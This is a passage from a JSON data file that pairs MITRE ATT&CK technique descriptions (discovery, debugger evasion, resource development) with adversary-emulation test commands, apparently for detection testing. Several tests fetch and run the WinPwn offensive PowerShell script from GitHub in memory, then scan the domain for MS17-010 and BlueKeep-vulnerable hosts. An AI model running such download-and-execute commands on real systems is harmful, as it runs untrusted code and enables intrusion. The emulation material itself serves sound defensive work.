- "description": "Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nMS17-10 -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - bluekeep",
- "auto_generated_guid": "1cca5640-32a9-46e6-b8e0-fabbe2384a73",
- "description": "Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nbluekeep -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - fruit",
- "auto_generated_guid": "bb037826-cbe8-4a41-93ea-b94059d6bb98",
- "description": "Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nfruit -noninteractive -consoleoutput",
- "name": "powershell"
- }
- }
- ]
- },
- "T1518": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
- "type": "attack-pattern",
- "created": "2019-09-16T17:52:44.147Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1518",
- "url": "https://attack.mitre.org/techniques/T1518"
- },
- {
- "external_id": "CAPEC-580",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/580.html"
- }
- ],
- "modified": "2022-01-29T00:02:24.150Z",
- "name": "Software Discovery",
- "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Firewall: Firewall Enumeration",
- "Firewall: Firewall Metadata",
- "Process: Process Creation",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1518"
- },
- "atomic_tests": [
- {
- "name": "Find and Display Internet Explorer Browser Version",
- "auto_generated_guid": "68981660-6670-47ee-a5fa-7e74806420a4",
- "description": "Query the registry to determine the version of internet explorer installed on the system.\nUpon execution, version information about internet explorer will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\" /v svcVersion\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Applications Installed",
- "auto_generated_guid": "c49978f6-bd6e-4221-ad2c-9e3e30cc1e3b",
- "description": "Query the registry to determine software and versions installed on the system. Upon execution a table of\nsoftware name and version information will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize\nGet-ItemProperty HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize\n",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Dotnetsearch",
- "auto_generated_guid": "7e79a1b6-519e-433c-ad55-3ff293667101",
- "description": "Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nDotnetsearch -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - DotNet",
- "auto_generated_guid": "10ba02d0-ab76-4f80-940d-451633f24c5b",
- "description": "Search for .NET Service-Binaries on this system via winpwn dotnet function of WinPwn.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndotnet -consoleoutput -noninteractive",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - powerSQL",
- "auto_generated_guid": "0bb64470-582a-4155-bde2-d6003a95ed34",
- "description": "Start PowerUpSQL Checks using powerSQL function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput",
- "name": "powershell"
- }
- }
- ]
- },
- "T1538": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "IaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f",
- "type": "attack-pattern",
- "created": "2019-08-30T18:11:24.582Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "external_id": "T1538",
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1538"
- },
- {
- "source_name": "Google Command Center Dashboard",
- "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard",
- "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019."
- },
- {
- "source_name": "AWS Console Sign-in Events",
- "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html",
- "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019."
- }
- ],
- "modified": "2021-03-16T12:56:36.098Z",
- "name": "Cloud Service Dashboard",
- "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1622": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "TruKno"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391",
- "created": "2022-04-01T17:59:46.156Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1622",
- "url": "https://attack.mitre.org/techniques/T1622"
- },
- {
- "source_name": "Checkpoint Dridex Jan 2021",
- "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/",
- "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."
- },
- {
- "source_name": "hasherezade debug",
- "url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf",
- "description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022."
- },
- {
- "source_name": "AlKhaser Debug",
- "url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug",
- "description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022."
- },
- {
- "source_name": "wardle evilquest partii",
- "url": "https://objective-see.com/blog/blog_0x60.html",
- "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."
- },
- {
- "source_name": "ProcessHacker Github",
- "url": "https://github.com/processhacker/processhacker",
- "description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022."
- },
- {
- "source_name": "vxunderground debug",
- "url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug",
- "description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent()
and NtQueryInformationProcess()
, or manually checking the BeingDebugged
flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW()
.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)",
- "modified": "2022-04-16T15:05:55.918Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Debugger Evasion",
- "x_mitre_detection": "Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\n\nMonitor debugger logs for signs of abnormal and potentially malicious activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1124": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "FIRST.ORG's Cyber Threat Intelligence SIG"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:37.450Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1124",
- "url": "https://attack.mitre.org/techniques/T1124"
- },
- {
- "external_id": "CAPEC-295",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/295.html"
- },
- {
- "url": "https://msdn.microsoft.com/ms724961.aspx",
- "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.",
- "source_name": "MSDN System Time"
- },
- {
- "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
- "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.",
- "source_name": "Technet Windows Time Service"
- },
- {
- "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf",
- "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.",
- "source_name": "RSA EU12 They're Inside"
- },
- {
- "source_name": "AnyRun TimeBomb",
- "url": "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/",
- "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021."
- }
- ],
- "modified": "2021-04-22T23:09:24.799Z",
- "name": "System Time Discovery",
- "description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname
to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz
. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1124"
- },
- "atomic_tests": [
- {
- "name": "System Time Discovery",
- "auto_generated_guid": "20aba24b-e61f-4b26-b4ce-4784f763ca20",
- "description": "Identify the system time. Upon execution, the local computer system time and timezone will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "computer_name": {
- "description": "computer name to query",
- "type": "string",
- "default": "localhost"
- }
- },
- "executor": {
- "command": "net time \\\\#{computer_name}\nw32tm /tz\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "System Time Discovery - PowerShell",
- "auto_generated_guid": "1d5711d6-655c-4a47-ae9c-6503c74fa877",
- "description": "Identify the system time via PowerShell. Upon execution, the system time will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-Date\n",
- "name": "powershell"
- }
- },
- {
- "name": "System Time Discovery W32tm as a Delay",
- "auto_generated_guid": "d5d5a6b0-0f92-42d8-985d-47aafa2dd4db",
- "description": "identifies DCRat delay time tactics using w32tm.\nhttps://research.splunk.com/endpoint/b2cc69e7-11ba-42dc-a269-59c069a48870/\nhttps://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "System Time with Windows time Command",
- "auto_generated_guid": "53ead5db-7098-4111-bb3f-563be390e72e",
- "description": "Displays the current system time via the Windows builtin time command: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time\nRecently observed in use in the wild during an incident involving Ursnif malware:\nhttps://github.com/The-DFIR-Report/Sigma-Rules/blob/dc72f0b557fc63347379be0a33439788256761c8/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml\nhttps://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "time\n",
- "name": "command_prompt"
- }
- }
- ]
- }
- }
- },
- {
- "category": "resource-development",
- "data": {
- "T1583": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2",
- "type": "attack-pattern",
- "created": "2020-09-30T16:37:40.271Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1583",
- "url": "https://attack.mitre.org/techniques/T1583"
- },
- {
- "source_name": "TrendmicroHideoutsLease",
- "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
- "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- },
- {
- "source_name": "Mandiant SCANdalous Jul 2020",
- "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
- "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."
- },
- {
- "source_name": "Koczwara Beacon Hunting Sep 2021",
- "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
- "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T15:45:02.209Z",
- "name": "Acquire Infrastructure",
- "description": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Metadata",
- "Domain Name: Domain Registration",
- "Internet Scan: Response Content",
- "Domain Name: Passive DNS",
- "Domain Name: Active DNS"
- ]
- },
- "atomic_tests": []
- },
- "T1588.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421",
- "type": "attack-pattern",
- "created": "2020-10-01T02:14:18.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1588.004",
- "url": "https://attack.mitre.org/techniques/T1588/004"
- },
- {
- "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
- "source_name": "DiginotarCompromise",
- "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
- },
- {
- "source_name": "Let's Encrypt FAQ",
- "url": "https://letsencrypt.org/docs/faq/",
- "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020."
- },
- {
- "source_name": "Splunk Kovar Certificates 2017",
- "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
- "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."
- },
- {
- "source_name": "Recorded Future Beacon Certificates",
- "url": "https://www.recordedfuture.com/cobalt-strike-servers/",
- "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020."
- }
- ],
- "modified": "2021-10-16T17:44:09.486Z",
- "name": "Digital Certificates",
- "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content",
- "Certificate: Certificate Registration"
- ]
- },
- "atomic_tests": []
- },
- "T1583.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81",
- "type": "attack-pattern",
- "created": "2020-10-01T00:40:45.279Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1583.002",
- "url": "https://attack.mitre.org/techniques/T1583/002"
- },
- {
- "source_name": "Unit42 DNS Mar 2019",
- "url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/",
- "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020."
- }
- ],
- "modified": "2021-04-15T02:49:49.702Z",
- "name": "DNS Server",
- "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1587.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a",
- "type": "attack-pattern",
- "created": "2020-10-01T01:42:24.974Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1587.003",
- "url": "https://attack.mitre.org/techniques/T1587/003"
- },
- {
- "source_name": "Splunk Kovar Certificates 2017",
- "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
- "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."
- }
- ],
- "modified": "2021-10-16T17:32:34.604Z",
- "name": "Digital Certificates",
